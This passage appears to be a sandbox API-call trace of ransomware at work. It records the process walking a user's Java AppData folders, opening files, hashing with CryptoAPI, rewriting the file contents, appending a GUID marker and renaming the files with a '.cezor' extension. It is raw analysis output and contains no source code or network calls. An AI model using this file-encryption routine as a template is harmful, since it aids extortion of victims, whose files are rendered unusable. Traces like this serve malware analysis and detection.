hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 1 [0061.783] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi") returned=".msi" [0061.783] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.783] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=185344) returned 1 [0061.783] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.786] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2d3da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.786] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.787] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.787] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x25805, lpOverlapped=0x0) returned 1 [0061.788] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.788] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.788] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.788] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ecd8) returned 1 [0061.789] CryptCreateHash (in: hProv=0x74ecd8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.789] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.789] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.789] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.789] GetLastError () returned 0x0 [0061.789] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.789] CryptReleaseContext (hProv=0x74ecd8, dwFlags=0x0) returned 1 [0061.790] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2d400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.790] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.790] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.791] CloseHandle (hObject=0x5c4) returned 1 [0061.793] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi.cezor")) returned 1 [0061.794] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.msi", cAlternateFileName="")) returned 0 [0061.794] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.794] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.794] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0061.794] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.794] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.794] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0061.794] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d528 [0061.794] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0061.794] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.794] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0061.794] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.794] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.794] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.795] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.795] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0061.795] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.795] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.795] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0061.795] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.795] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.795] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.795] PathFindFileNameW (pszPath="") returned="" [0061.795] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.795] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.797] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.797] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.797] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1ea6db0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfec5c570, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1 [0061.797] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.797] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd6) returned 0x2f94cf8 [0061.797] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.797] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned=".properties" [0061.797] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.797] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=719) returned 1 [0061.797] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.799] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.800] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.801] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.801] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.801] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.801] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x2cf, lpOverlapped=0x0) returned 1 [0061.801] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.801] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.801] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.801] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.801] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0061.802] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.802] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.802] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.802] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.802] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.802] GetLastError () returned 0x0 [0061.802] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.802] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0061.802] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.802] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2d0) returned 0x310a580 [0061.802] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.802] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.802] WriteFile (in: hFile=0x5c4, lpBuffer=0x310a580*, nNumberOfBytesToWrite=0x2ca, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x310a580*, lpNumberOfBytesWritten=0x9aafb24*=0x2ca, lpOverlapped=0x0) returned 1 [0061.802] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310a580 | out: hHeap=0x670000) returned 1 [0061.802] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.802] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.802] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.803] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.803] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.803] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.803] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.803] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.803] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.803] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.803] CloseHandle (hObject=0x5c4) returned 1 [0061.804] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016c78 [0061.804] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8c0) returned 0x3100c28 [0061.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.804] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\deployment.properties.cezor")) returned 1 [0061.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.804] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.805] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94cf8 | out: hHeap=0x670000) returned 1 [0061.805] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0061.805] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.805] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.805] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfc) returned 0x31218e8 [0061.805] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eead0 [0061.805] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x31152d8 [0061.805] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016c78 [0061.805] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0061.805] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3017128 [0061.805] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x30171f0 [0061.805] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0061.805] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fd28b0 | out: hHeap=0x670000) returned 1 [0061.805] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016f98 | out: hHeap=0x670000) returned 1 [0061.805] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3017060 | out: hHeap=0x670000) returned 1 [0061.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016e08 | out: hHeap=0x670000) returned 1 [0061.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016ed0 | out: hHeap=0x670000) returned 1 [0061.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0061.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0061.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0061.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.806] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 1 [0061.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dc78 [0061.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dc78 | out: hHeap=0x670000) returned 1 [0061.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.806] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 0 [0061.806] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d980 | out: hHeap=0x670000) returned 1 [0061.806] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301d980 [0061.806] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.807] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 